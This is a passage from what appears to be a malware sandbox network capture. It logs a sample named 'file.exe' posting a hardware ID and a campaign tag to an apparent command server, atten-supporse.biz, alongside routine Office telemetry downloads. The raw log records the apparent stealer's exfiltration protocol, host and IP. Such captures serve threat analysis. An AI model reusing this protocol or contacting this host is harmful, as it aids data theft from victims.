0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49720	172.67.165.166	443	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:29 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5JKELXKH6W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15034 Host: atten-supporse.biz
2024-12-01 02:32:29 UTC	15034	OUT	Data Raw: 2d 2d 35 4a 4b 45 4c 58 4b 48 36 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 36 43 42 44 44 36 36 36 44 41 43 41 37 30 34 41 36 42 30 31 35 45 39 35 34 35 36 36 31 30 0d 0a 2d 2d 35 4a 4b 45 4c 58 4b 48 36 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 4a 4b 45 4c 58 4b 48 36 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 4a 4b 45 4c 58 4b 48 36 57 0d 0a 43 6f Data Ascii: --5JKELXKH6WContent-Disposition: form-data; name="hwid"876CBDD666DACA704A6B015E95456610--5JKELXKH6WContent-Disposition: form-data; name="pid"2--5JKELXKH6WContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5JKELXKH6WCo
2024-12-01 02:32:32 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j50qgeaqjvs0m0r9bqrtfdc6kb; expires=Wed, 26-Mar-2025 20:19:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B4O6VVVXd1TvjYjU7P2k%2BXxBBvD5SdrOmfOMU8DblirLVQQSBWAnqBlEu9czFgoKG801et0D7pzQ%2FEfMb2K1xqNBcrpQi1ak05ltX7KlG6Catyyb3pOxS3SXlY9mZE9%2FFLZRlxg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eafaac18e9e433f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&min_rtt=1685&rtt_var=654&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15968&delivery_rate=1646926&cwnd=215&unsent_bytes=0&cid=b705d6f3c39f01e7&ts=2749&x=0"
2024-12-01 02:32:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:30 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 957c193a-901e-008f-36b3-4267a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023231Z-174f7845968xlwnmhC1EWR0sv8000000123000000000drn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:31 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023231Z-174f7845968frfdmhC1EWRxxbw00000012f0000000000f3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:31 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f885eed-401e-0029-2ba8-429b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023231Z-174f7845968j6t2phC1EWRcfe800000012kg0000000005q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:31 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 4b7a7cb4-201e-000c-0405-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023231Z-174f78459684bddphC1EWRbht4000000124g000000001bvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:31 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: f9751f86-801e-0035-08a1-42752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023231Z-174f7845968swgbqhC1EWRmnb400000012hg000000002x0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:33 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:33 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 44a27185-d01e-0028-1a07-427896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023233Z-174f7845968psccphC1EWRuz9s00000012eg00000000hsxd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:33 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:33 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 20b9087d-001e-0049-035f-435bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023233Z-174f7845968cpnpfhC1EWR3afc0000001200000000003xuy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:33 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f0a23f1-f01e-0099-76b2-429171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023233Z-174f78459684bddphC1EWRbht400000011y000000000hvpu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49732	172.67.165.166	443	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:33 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MTPWKAZDP4QRR6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20383 Host: atten-supporse.biz
2024-12-01 02:32:33 UTC	15331	OUT	Data Raw: 2d 2d 4d 54 50 57 4b 41 5a 44 50 34 51 52 52 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 36 43 42 44 44 36 36 36 44 41 43 41 37 30 34 41 36 42 30 31 35 45 39 35 34 35 36 36 31 30 0d 0a 2d 2d 4d 54 50 57 4b 41 5a 44 50 34 51 52 52 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 54 50 57 4b 41 5a 44 50 34 51 52 52 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 54 Data Ascii: --MTPWKAZDP4QRR6Content-Disposition: form-data; name="hwid"876CBDD666DACA704A6B015E95456610--MTPWKAZDP4QRR6Content-Disposition: form-data; name="pid"3--MTPWKAZDP4QRR6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MT
2024-12-01 02:32:33 UTC	5052	OUT	Data Raw: 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-01 02:32:37 UTC	1024	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9o5bq8hre6l7q841ft8e6up1f4; expires=Wed, 26-Mar-2025 20:19:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ns5vWt9XM5dL2ip5H0N%2BXM%2FRkkOFqnGZ91HW%2F0kIu9bGrAEzPdpnIikZ1sZi2IqnyBHmvY3l7YQqeGt4fUsxr5LmrvWmPqeeZNEqN%2Bqb5OH7svLvnv0ybj5TQh%2FLi5faiy1w5mo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eafaadbff74426d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1693&rtt_var=643&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21343&delivery_rate=1692753&cwnd=222&unsent_bytes=0&cid=44cc7d3913eb636e&ts=3648&x=0"
2024-12-01 02:32:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-01 02:32:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:33 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
